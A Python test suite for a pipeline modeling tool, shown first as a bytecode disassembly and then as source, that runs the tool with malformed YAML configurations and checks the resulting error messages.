LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: edges' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edges in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: from' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: to' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node1\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node1' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0:10\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by out port: 10' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:3\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by in port: 3' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Src by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Node1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 in Pipeline: PL1 has dangling input by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n edges:\n - from: \'Src\'\n to: \'Node:0\'\n - from: \'Node:0\'\n to: \'Node:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:0\'\n - from: \'Node0:0\'\n to: \'Node1:0\'\n - from: \'Node1\'\n to: \'Node0:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --load_config=not_existing.yml' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to load config: not_existing.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported PLMode: unknown\nPlease chose between: streaming and regular' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --app_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported AppMode: unknown\nPlease chose between: realtime and benchmark' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=streaming --drop_frames' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST '--drop_frames option is supported only for pipelines in "regular" mode' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n call_every_nth: {}" ' STORE_FAST cfg_file LOAD_CONST 'Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}' STORE_DEREF error LOAD_CLOSURE error BUILD_TUPLE LOAD_CONST <code object check at 0x7fab822ea150, file "f.py", line 985> LOAD_CONST 'test_incorrect_call_every_nth.<locals>.check' MAKE_FUNCTION STORE_FAST check LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST -3 CALL_FUNCTION POP_TOP LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_output LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_DEREF error LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,1]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST "Failed: Pipeline PL1 doesn't have stop criterion!" CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import os import subprocess pipeline_modeling_tool = os.getenv("PIPELINE_MODELING_TOOL") def get_output(exec_str): try: out = ( subprocess.check_output(exec_str, stderr=subprocess.STDOUT, shell=True) .strip() .decode() ) except subprocess.CalledProcessError as exc: out = exc.output.strip().decode() return out def test_error_no_config_specified(): out = get_output(pipeline_modeling_tool) assert out.startswith("Config must be specified via --cfg option") def test_error_no_config_exists(): cfg_file = "not_existing_cfg.yml" exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert "Failed to open config file: not_existing_cfg.yml" in out def test_error_work_time_not_positive(): cfg_file = """\"%YAML:1.0 work_time: -1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("work_time must be positive") def test_error_no_pipelines(): cfg_file = """\"%YAML:1.0 work_time: 1000\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Config must contain field: Pipelines") def test_error_pipelines_node_not_map(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines field must be a map") def test_error_config_not_contain_pl(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1:\" """ exec_str = "{} --cfg={} --exec_list=PL2".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines must contain field: PL2") def test_error_no_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: queue_capacity: 1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: source") def test_error_source_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: name") def test_error_source_no_latency(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: latency") def test_error_source_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: output") def test_error_source_output_no_dims(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: dims") def test_error_source_output_no_precision(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4]\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: precision") def test_error_no_nodes(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: nodes") def test_error_nodes_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("nodes in PL1 must be a sequence") def test_error_node_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: name") def test_error_node_no_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: type") def test_error_node_unknown_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Unknown'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Unsupported node type: Unknown") def test_error_node_dummy_no_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: time") def test_error_node_dummy_not_positive_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: -0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 time must be positive") def test_error_node_dummy_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output") def test_error_node_infer_no_model_path(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) error_msg = """Path to OpenVINO model must be specified in either of two formats: 1. xml: path to *.xml bin: path to *.bin 2. blob: path to *.blob""" assert out.startswith(error_msg) def test_error_node_infer_no_input_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: input_layers") def test_error_node_infer_input_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: \" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("input_layers in Node0 must be a sequence") def test_error_node_infer_no_output_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output_layers") def test_error_node_infer_output_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name' output_layers:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output_layers in Node0 must be a sequence") def test_error_no_edges(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: edges") def test_error_edges_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edges in PL1 must be a sequence") def test_error_edges_no_from(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: from") def test_error_edges_no_to(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: to") def test_error_edges_from_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node1' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node1") def test_error_edges_from_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0:10' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by out port: 10") def test_error_edges_to_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node2") def test_error_edges_to_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:3'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by in port: 3") def test_error_connect_to_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: 